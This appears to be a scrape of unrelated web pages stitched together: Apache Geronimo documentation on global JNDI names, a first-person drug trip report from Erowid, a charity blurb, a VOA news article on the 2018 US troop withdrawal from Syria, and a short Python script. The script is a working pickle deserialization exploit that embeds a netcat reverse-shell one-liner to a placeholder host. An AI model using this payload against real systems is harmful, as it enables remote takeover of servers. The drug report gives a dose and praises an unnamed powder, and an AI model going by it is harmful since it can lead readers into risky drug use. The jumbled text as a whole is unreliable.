- CONFORMING TO
-
- NOTES
-
- SEE ALSO
-
This document was created by
man2html,
using the manual pages.
Time: 02:55:03 GMT, September 18, 2014


| Home > Documentation > Creating deployment plans > Creating deployment plans for applications > Naming (JNDI) > Global JNDI |
In Geronimo 2.2 most accessible Java EE objects are bound in global JNDI automatically. Generally the names they are bound under can be adjusted if necessary by means of templates.
All J2CA objects are now bound automatically into a global jndi context. Note that these objects can only be accessed in the geronimo vm. The default locations are under jca: and use a formatting pattern of
groupId/artifactId/j2eeType/name
where groupId and artifactId are from the module the J2CA object is deployed in, and the j2eeType and name are from the AbstractName or ObjectName identifying the object. The j2eeType is normally JCAManagedConnectionFactory or JCAAdminObject. Note that although this format appears to specify a gbean such as a ManagedConnectionFactoryWrapper gbean what is actually obtained from JNDI is what you get by calling the $getResource() method on this gbean, in this case a connection factory such as a DataSource. Similarly for a JCAAdminObject you are likely to get a Topic or Queue if you are working with a JMS adapter such as that for ActiveMQ.
You can customize which objects are bound and where they end up with these properties from var/config/config-substitutions.properties
:
groupId/artifactId/j2eeType/name
{}
?j2eeType=JCAManagedConnectionFactory#org.apache.geronimo.naming.ResourceSource
All session and (ejb 2.1) entity beans are bound into global jndi automatically. Session beans and entity beans will be bound automatically into a global JNDI context. An EJB's JNDI name is in the following format:
{deploymentId}{interfaceType.annotationName}
Remote interfaces can be accessed from other vms. This is documented extensively at http://cwiki.apache.org/GMOxDEV/client-jndi-names.html
| Bookmark this on Delicious Digg this | Privacy Policy - Copyright © 2003-2013, The Apache Software Foundation, Licensed under ASL 2.0. |


I'd like to start off with stating that this stuff is pretty sweet, a great mix of euphria and mild visuals with a mellow come down.
Now to the meat of the story. Me and my friend were camping in the interior of Alaska and after nursing a hangover decided to take a bit of a road trip to visit some friends a few towns over, mostly to break the monotony. So while were hanging out we come across a rare oppurtunity up here in the great north. A new drug!
Being a adventurous spirit i jumped at the oppurtunity and purchased the mystery chemical. Now ive done pretty much every major drug and alot of other more exotic things but i've always had a soft spot in my heart for a good trip, with Lsd being a old freind of mine.
So after me and my buddy get our greedy little hands on this mysterious powder we promptly high tail it back to camp to do a little undisturbed experimentation. Being that were on private property with no one well within miles and miles we are all set for (hopefully)a great trip.
We both down 30mg, the dose recommended to us, of loose powder and begin the waiting game. Being told its going to take about two hours we both proceed to get extremely bored as we analyse every twitch and tingle in our bodies to see if its started to 'kick in'. After about a hour and a half i start to feel it, a mild physical anxiety. Nothing bad just some nervous energy that's all.
At about the 2 hour mark and after much pacing about like a crack fiend, it starts to kick in full bore and I begin to zone out and get mild visuals ,shadows and things such as that! I noticed that im gritting my teeth a bit but that is a habit of mine while tripping and can't wholly blame it on the drug.
So now were at the 3 hour mark and i would say were peaking. I'm getting some good visuals, nothing like a high dose of acid but a bit of swaying and movement. I would have say the best part is the euphoria, i was experiencing. Me and my friend were having the time of our lives giggling like school girls with pupils the size of quarters. The stars were out in force and the northern lights were amazing being a crisp clear september night. So far it was amazing nothing could go wrong.
Now this next part has more to do with our combined idiocy and too many youthful hours watching Unsolved Mysteries. While we were both zoning out on the stars spotting a shooting star now and again not to forget the always spectacular Aurora Borealis, my eyes wander off to the horizon where i spot a collection of red blue and white lights blinking erratically. I pondered the occurance for a second and noticed that the lights were occuping only one specific spot in the sky and no where else. Being a veteran psychonaut i came to the conclusion that they might just not be a hallucination. I was about to ask my partner in crime if he had spotted the same anomaly when i hear him blurt out, 'Do you see that freaking shit!?'.
 Its come over the horizon now a good bit and is heading directly at us and appears to be slowing down! All the while red, blue and white lights are blinking like some mad Christmas display. Now for the love of god i'm lost at what this thing may be, but its circular shape and that its slowing down is starting to freak me out! I am keeping my cool though, its just the drugs! Its not a damned space ship! It can't be a spaceship! I mean, what are the odds that they would abduct two hillbillies alone out in the woods? Stuff like that never happens to people when they go camping....right?
 While i ponder the feasiblity of this plan i admit to myself what exactly this might be and with that the cats out of the bag and out in the open!  We stand there for a few more seconds, tension building in the air, with the realization that we are about to be abducted and there is no doubt in my mind, vicously gang probed!
 Having taken hallucinogens a good number of times more than a doctor might recommend, i am still using my amazing powers of denial, hoping, that this is not about to happen. If it is, then I am going to make those little green bastards use there tractor beam to pick up my 2003 Toyota Tacoma!  There gonna have to get a locksmith to open those doors because i'm surely not about to! Ha!
At this point its almost right over us, the car is completely silent. Neither of us are breathing, just sitting in mutual terror! Yes, terror, i say! I dont know if any of you have ever thought you were about to go jetting around the cosmos but I assure you it is not a enviable position to be in! Were both just sitting, sitting waiting for the green light to surround the car. Any second now and its gonna happen, any second and were going to be part of a very select club of people! Any second and our worlds going to be changed forever and all at the worst possible time, of course it has to happen right ... wait .... is that a jet engine I hear?
Yes it is! I cautiously exit the truck making sure its not some feindish alien trick. Its a military cargo plane, flying at about a 1000 feet coming right from the military base bout 30 miles away, and right directly over the position we have been occupying!
One can't describe the feeling of elation that followed and the 5 straight minutes of nervous laughter intermixed with knowing glances at my mate, that we are in fact, the two stupidest people in a 1000 miles.
After about twenty minutes we calm ourselves down and contiune with the festivities gitty, as all hell. By hour four the affects have started to wane, the visuals have stopped and all that remains is a pleasant body high.
By the fifth hour the affects have mostly worn off and i am actually feeling tired a trully rare thing for a psyhcedelic. I decide to go to bed at about five and a half ours in. Within a half hour am out like a light. The sleep was good and i woke up with no hangover, sluggishness or pain whatsoever.
Overall i would give it a excellent review owing the UFO incident more to our gullibility and far to much X files, than the actual drug itself.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Empowering quality of education in africa with Student Aid Foundation. In recent past, the award of education bursaries from the government has been done descriminatively that based on if a child has parentsand sometimes to students from a well off family. rather than foccussing on those who are enable to pay the school feees for themselves.
Student Aid Foundation is here to enable the donors vet and define who's viable to receive funding for their education.


#!/usr/bin/env python
#ensure you're sending the correct content-type in your web request
import pickle
from base64 import urlsafe_b64encode as b64encode
RUNME = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LIP> >/tmp/f"""
#Deserialization vulnerability in Pickle __reduce__
#Exploit of things that are 'non-deserializable' are passed to reduce as a final exception
class PleaseSubscribe(object):
def __reduce__(self):
import os
return (os.system,(RUNME,))
print b64encode(pickle.dumps(PleaseSubscribe()))


Syrian Kurdish allies of the United States are worried about President Donald Trump’s decision to withdraw all U.S. military forces from Syria.
The Kurdish Syrian Democratic Forces (SDF) said in a statement Thursday that a U.S. withdrawal could give Islamic State (IS) militants a chance to regroup. It noted that Turkey has threatened to launch an offensive against Kurdish forces east of the Euphrates River.
Trump announced the unexpected withdrawal – first in a statement and later in a video message – on Twitter Wednesday.
“We have won against (IS), we’ve beaten them and we’ve beaten them badly,” he said, adding “now it’s time for our troops to come back home.”
After historic victories against ISIS, it’s time to bring our great young people home! pic.twitter.com/xoNjFzQFTp
— Donald J. Trump (@realDonaldTrump) December 19, 2018 U.S. lawmakers reacted with surprise to the president’s decision to immediately begin withdrawing all U.S. troops in Syria.
Rhode Island Senator Jack Reed told reporters the Trump administration is abandoning the Kurds to a “bloody conflict with Turkey.” Reed, a member of the Democratic Party, called the decision a “betrayal.”
South Carolina Senator Lindsey Graham said the decision was a “disaster in the making.” Graham belongs to the Republican Party and is usually a Trump supporter.
France and Britain expressed concern about the U.S. announcement. The two countries are important members of the 60-member, anti-IS alliance.
A British government statement released Wednesday noted that “much remains to be done and we must not lose sight of the threat…(IS) remains a threat.”
France’s European Affairs minister said that “the fight against terrorism is not over.”
In Moscow, Russian President Vladimir Putin welcomed the U.S. decision. At his yearly press conference on Thursday, Putin said he agreed with Trump. He added that the United States “has done the right thing.”
The administration and the U.S. Defense Department have yet to explain how the nearly 2,000 American soldiers in Syria would be safely removed.
Defense Secretary James Mattis and other U.S officials have been calling for American troops to stay in Syria to completely destroy Islamic State forces. The group still controls a few small areas of Syrian territory.
FILE - U.S. soldiers surveil the area during a combined joint patrol in Manbij, Syria, Nov. 1, 2018.
Earlier this week, Turkish President Recep Tayyip Erdogan said he had won “concessions” during a long telephone call with Trump. Erdogan said they talked about a Turkish offensive against the Kurds.
Some Middle East experts have strongly criticized the president’s decision.
Charles Lister at Washington’s Middle East Institute called the move a “dream scenario” for IS, Russia, Iran and Syrian President Bashar al-Assad.
Richard Haas is president of the Council on Foreign Relations. He said it is “morally wrong” to leave the Syrian Kurds to face Turkey alone.
The Syrian civil war began in 2011. It has left nearly 500,000 dead and millions homeless. In 2014, Islamic State militants seized control of several parts of Syria. While IS forces are mostly destroyed, they still hold territory in northeastern Syria.
I’m Jonathan Evans.
Susan Shand adapted this VOA News report for Learning English. George Grow was the editor.